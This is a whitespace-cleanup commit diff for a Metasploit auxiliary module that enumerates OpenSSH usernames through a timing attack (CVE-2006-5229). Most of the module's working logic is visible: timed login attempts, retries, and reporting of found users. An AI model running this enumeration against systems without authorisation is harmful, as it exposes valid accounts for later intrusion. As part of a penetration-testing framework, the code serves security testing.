Fix up whitespace 'n' stuff

Author: wvu

modules/auxiliary/scanner/ssh/ssh_enumusers.rb

@@ -12,50 +12,47 @@ class Metasploit3 < Msf::Auxiliary
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::CommandShell
 
-  def initialize
-    super(
+  def initialize(info = {})
+    super(update_info(info
       'Name'        => 'SSH Username Enumeration',
       'Description' => %q{
         This module uses a time-based attack to enumerate users in a OpenSSH server.
       },
       'Author'      => ['kenkeiras'],
       'References'  =>
-          [
-            ['CVE', '2006-5229']
-          ],
+        [
+          ['CVE', '2006-5229']
+        ],
       'License'     => MSF_LICENSE
-    )
+    ))
 
     register_options(
       [
+        Opt::RPORT(22),
         OptPath.new('USER_FILE',
-                      [true, 'File containing usernames, one per line', nil]),
+                    [true, 'File containing usernames, one per line', nil]),
         OptInt.new('THRESHOLD',
-                      [true,
-                     'Amount of seconds needed before a user is considered ' \
-                     'found', 10]),
-        Opt::RPORT(22)
+                   [true,
+                   'Amount of seconds needed before a user is considered ' \
+                   'found', 10])
       ], self.class
     )
 
     register_advanced_options(
       [
-        OptBool.new('SSH_DEBUG',
-                    [false, 'Enable SSH debugging output (Extreme verbosity!)',
-                      false]),
-
-        OptInt.new('SSH_TIMEOUT',
-                   [false, 'Specify the maximum time to negotiate a SSH session',
-                     10]),
-
         OptInt.new('RETRY_NUM',
                    [true , 'The number of attempts to connect to a SSH server' \
-                     ' for each user', 3])
+                   ' for each user', 3]),
+        OptInt.new('SSH_TIMEOUT',
+                   [false, 'Specify the maximum time to negotiate a SSH session',
+                   10]),
+        OptBool.new('SSH_DEBUG',
+                    [false, 'Enable SSH debugging output (Extreme verbosity!)',
+                    false])
       ]
     )
   end
 
-
   def rport
     datastore['RPORT']
   end
@@ -90,16 +87,12 @@ def check_user(ip, user, port)
       ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
         Net::SSH.start(ip, user, opt_hash)
       end
-
     rescue Rex::ConnectionError, Rex::AddressInUse
       return :connection_error
-
     rescue Net::SSH::Disconnect, ::EOFError
       return :success
-
     rescue ::Timeout::Error
       return :success
-
     rescue Net::SSH::Exception
     end
 
@@ -112,29 +105,25 @@ def check_user(ip, user, port)
     end
   end
 
-
   def do_report(ip, user, port)
     report_auth_info(
-      :host => ip,
-      :port => rport,
-      :sname => 'ssh',
-      :user => user,
+      :host   => ip,
+      :port   => rport,
+      :sname  => 'ssh',
+      :user   => user,
       :active => true
     )
   end
 
-
   def user_list
     File.new(datastore['USER_FILE']).read.split
   end
 
-
   def attempt_user(user, ip)
     attempt_num = 0
     ret = nil
 
     while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
-
       if attempt_num > 0
         Rex.sleep(2 ** attempt_num)
         print_debug "Retrying '#{user}' on '#{ip}' due to connection error"
@@ -143,28 +132,25 @@ def attempt_user(user, ip)
       ret = check_user(ip, user, rport)
       attempt_num += 1
     end
+
     ret
   end
 
-
   def show_result(attempt_result, user, ip)
     case attempt_result
     when :success
       print_good "User '#{user}' found on #{ip}"
       do_report(ip, user, rport)
-
     when :connection_error
       print_error "User '#{user}' on #{ip} could not connect"
-
     when :fail
       print_debug "User '#{user}' not found on #{ip}"
-
     end
   end
 
-
   def run_host(ip)
     print_status "Starting scan on #{ip}"
     user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
   end
+
 end